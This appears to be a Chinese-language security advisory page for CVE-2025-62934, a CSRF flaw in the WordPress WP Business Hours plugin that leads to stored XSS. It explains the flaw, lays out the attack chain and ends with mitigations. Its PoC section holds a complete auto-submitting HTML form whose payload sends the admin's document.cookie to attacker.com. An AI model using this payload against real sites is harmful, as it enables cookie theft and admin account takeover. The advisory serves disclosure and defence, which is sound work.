IPBUF安全漏洞报告
English
CVE-2025-62934 CVSS 7.1 高危

CVE-2025-62934: WordPress WP Business Hours插件CSRF漏洞导致存储型XSS

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-62934
漏洞类型
CSRF + 存储型XSS
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
WordPress WP Business Hours插件 (版本 <= 1.4)

相关标签

CVE-2025-62934CSRF存储型XSSWordPress插件漏洞WP Business Hours高危漏洞跨站请求伪造Web安全内容管理平台

漏洞概述

CVE-2025-62934是WordPress插件WP Business Hours中发现的一个高危安全漏洞,CVSS评分7.1,属于高危级别。该漏洞是一个跨站请求伪造(CSRF)漏洞,成功利用后可导致存储型跨站脚本攻击(XSS)。漏洞存在于插件的营业时间配置功能中,由于缺少适当的CSRF令牌验证,攻击者可以诱导已登录的管理员用户访问恶意构造的网页,从而在插件的营业时间设置中注入恶意JavaScript代码。由于这些数据会存储在数据库中并在管理员访问相关页面时执行,因此属于存储型XSS。攻击者可以利用此漏洞窃取管理员会话cookie、劫持管理员账户、执行任意管理操作,甚至进一步入侵整个WordPress网站。该漏洞由Patchstack团队的安全研究人员发现并报告,披露日期为2025年10月27日。

技术细节

该漏洞的根本原因在于WP Business Hours插件在处理营业时间配置时未实施充分的CSRF保护机制。具体来说,插件在接收用户提交的营业时间数据时,没有验证请求是否来自合法的网站表单,也没有使用WordPress推荐的方式生成和验证nonce令牌。这使得攻击者可以构造恶意HTML页面,包含自动提交的表单,该表单模拟合法的营业时间更新请求。当WordPress管理员访问攻击者控制的页面时,浏览器会自动向目标网站发送请求,由于管理员已登录,请求会携带有效的认证cookie。服务器无法区分这是合法管理员操作还是攻击者伪造的请求。攻击者可以在营业时间字段中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>,这些代码会被存储在WordPress数据库中。当管理员或其他用户访问包含该数据的页面时,恶意脚本就会在他们的浏览器上下文中执行,从而实现窃取敏感信息或执行其他恶意操作。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的WordPress版本和WP Business Hours插件,确认为 <= 1.4 版本
STEP 2
步骤2: 构造恶意页面
攻击者创建包含自动提交表单的HTML页面,表单数据模拟合法的WP Business Hours设置请求,在营业时间字段中注入XSS payload
STEP 3
步骤3: 诱导受害者访问
攻击者通过钓鱼邮件、社交工程或其他方式诱导WordPress管理员访问恶意构造的HTML页面
STEP 4
步骤4: 自动发送恶意请求
受害者浏览器自动向目标WordPress站点发送POST请求,由于管理员已登录,请求携带有效认证cookie
STEP 5
步骤5: 存储型XSS注入成功
服务器处理请求时未验证CSRF令牌,将恶意JavaScript代码存储到数据库的营业时间设置中
STEP 6
步骤6: XSS执行
当管理员或其他用户访问包含营业时间数据的页面时,存储的恶意脚本在其浏览器中执行,窃取cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-62934: WP Business Hours CSRF to Stored XSS --> <!DOCTYPE html> <html> <head> <title>CSRF Attack PoC - CVE-2025-62934</title> </head> <body> <h1>CVE-2025-62934 PoC</h1> <p>This PoC demonstrates the CSRF vulnerability in WP Business Hours plugin.</p> <form action="http://target-wordpress-site/wp-admin/admin.php?page=wp-business-hours" method="POST" id="csrf-form"> <input type="hidden" name="wp_business_hours_monday_open" value="09:00"> <input type="hidden" name="wp_business_hours_monday_close" value="17:00"> <input type="hidden" name="wp_business_hours_tuesday_open" value="09:00"> <input type="hidden" name="wp_business_hours_tuesday_close" value="17:00"> <!-- XSS payload in business hours field --> <input type="hidden" name="wp_business_hours_wednesday_open" value="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"> <input type="hidden" name="wp_business_hours_wednesday_close" value="17:00"> <input type="hidden" name="wp_business_hours_status" value="1"> <input type="hidden" name="wp_business_hours_save" value="Save Settings"> </form> <script> // Auto-submit the form when page loads document.getElementById('csrf-form').submit(); </script> <p>If you see this message, the attack request has been sent.</p> </body> </html>

影响范围

WP Business Hours <= 1.4

防御指南

临时缓解措施
作为临时缓解措施,可以暂时禁用WP Business Hours插件直到官方发布安全更新。同时,可以手动删除数据库中wp_options表中包含wp_business_hours相关设置的可疑数据。此外,应检查网站访问日志确认是否存在异常的营业时间设置请求。对于必须使用该插件的场景,建议加强管理员账户安全,使用强密码和双因素认证,并限制管理后台访问IP。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表